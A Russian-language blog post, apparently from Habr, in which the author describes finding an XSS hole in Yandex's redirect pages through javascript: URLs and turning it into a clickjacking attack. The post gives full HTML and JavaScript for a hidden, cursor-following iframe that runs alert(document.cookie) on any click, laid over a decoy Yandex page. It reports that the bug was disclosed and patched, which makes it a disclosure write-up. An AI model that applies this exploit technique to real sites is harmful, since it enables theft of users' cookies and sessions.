Раскручиваем XSS на Яндексе (fixed)

:

Здравствуйте, Хабражители!

Сегодня гулял по сети, зашел на Яндекс, чтобы посмотреть погоду в столице. Когда нажал кнопочку «другой город» Яндекс перенаправил меня сюда. Я думаю, что у каждого, кто видит такой адрес возникает желание подменить один из параметров, а точнее retpath. :) Вставил я туда стандартный

"><script>alert('xss');</script>
и залез в исходник, смотреть что фильтруется, а что нет. Вот такая строка была в исходнике.
<span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"
Ну, думаю, скукота, — все фильтруется. Потом посмотрел внимательней и понял, что Яндекс не добавляет к URL вначале протокол, вот тут можно и поиграться. Ввел
javascript: alert('xss');
— работает! Но к сожалению, только при нажатии на кнопку «Вернуться». Можете попробовать. Уже интереснее, копаем дальше…

(Материал написан и предоставлен в учебных целях.)

Итак, что нужно сделать, чтобы пользователь не знал, что он кликает на «Вернуться»? — Правильно. Нужно поместить эту страницу в iframe, добавить стилей, и поместить прозрачно над каким-либо элементом, на нашей странице. Пробуем вариант с фреймами — не получается. Яндекс проверяет, если их сайт открыт в фрейме, и перенаправляет родительское окно(браузера) на Яндекс. Как же решить эту проблему? Я нашел атрибут sandbox для iframe, введенный только в html5. И просто запретил перенаправлять пользователя, но способ работал только в Хроме, и то, блокируя содержимое всего фрейма.

Настроение уже начало ухудшаться, и я решил поискать, где в других местах используется retpath, ведь если подобная уязвимость есть в одном месте, то она будет и в другом. Нашел парочку в «Словарях» и «Помощи», но кнопки «Вернуться» там не было. Потом из за того, что я не правильно подменил параметр, Яндекс отправил меня сюда, вот тут то все и началось.

Итак, пробуем подменить параметр url на

javascript:alert('ahoy!');
и кликаем на ссылку. Работает! Теперь пробуем поместить адрес с уязвимостью в iframe. Ура! Проверок нет. Попробовать. Отлично, идем дальше.

Теперь нам нужно добавить нужные стили к iframe. Я решил сделать так: поместить айфрейм с уязвимостью внутрь маленького(100x20) дива, и сдвинуть iframe так, что пользователю будет «видна» только ссылка (по которой нужно кликнуть :).


<!DOCTYPE html>
<html>
<head>
<style type="text/css">
body {
  margin:0;
  padding:0;
}
#helper {
  position: absolute;
  overflow: hidden;
  width: 200px;
  height: 13px;
}
#ifr {
  position: relative;
  top: -180px;
  left: -58px;
}
</style>
</head>
<body>
  <div id="helper">
    <div style="width: 100%; height: 300px">
      <iframe 
      id="ifr"
      src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)" 
      width="1000px"
      height="300"
      frameborder="no"
      scrolling="no"
      ></iframe>
    </div>
  </div>
</body>
</html>

Готово, но как-то скучно! Хотелось бы, чтобы пользователь ни о чем не подозревал. Как это сделать? Интересный вопрос. Первое, что пришло в голову — а что если двигать элемент helper за мышкой. Это значит, что пользователю уже не надо кликать в определенном месте. Где бы он не кликнул — скрипт выполнится. Привожу код:

    var el;
    window.onload = function() {
      var ifr = document.getElementById("ifr");
      //некоторые различия в верстке в вебките
      if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) {
        ifr.style.top = "-180px";
      } else {
        ifr.style.top = "-190px";
      }
      el = document.getElementById("helper");
      window.onmousemove = onmove;
    }
    function onmove(e) {
      el.style.left = (e.pageX - 50) + "px";
      el.style.top = (e.pageY - 12) + "px";
      return false;
    }

А ещё откроем большой и видимый айфрем с главной Яндекса, чтобы пользователь думал, что он ещё там. :)

<iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>

Хорошо! Яндекс разрешает открывать свою гланую страницу внутри фрейма.

Меняем zIndex'ы элементов и делаем наш helper невидимым и добавляем дополнительный прозрачный DIV, который перекрывает айфрейм яндекса и позволяет избежать конфликтов между айфремами.

  <div id="overlay"></div>
#helper {
 z-index: 20000;
 opacity: 0;
}
#yandex {
 z-index: 10;
}
#overlay {
 position: absolute;
 top: 0;
 left: 0;
 width: 100%;
 height: 100%;
 z-index: 20;
}

Готовый пример.
Как это работает?

(по ссылкам выполняется alert(document.cookie))

Надеюсь, что Вам понравилась моя статья. Буду рад комментариям.

На момент 20:30 уявимость прикрыта, я очень рад за Яндекс, что скорость устранения уязвимостей такая быстрая. От яндекса на почту пришло:

Добрый день, Олег!

Благодарим за интерес к работе нашего сервиса и Ваше сообщение, мы обязательно проверим указанную Вами информацию. Ваше письмо направлено разработчикам.

--
С уважением, ...
Служба поддержки Яндекса
http://help.yandex.ru/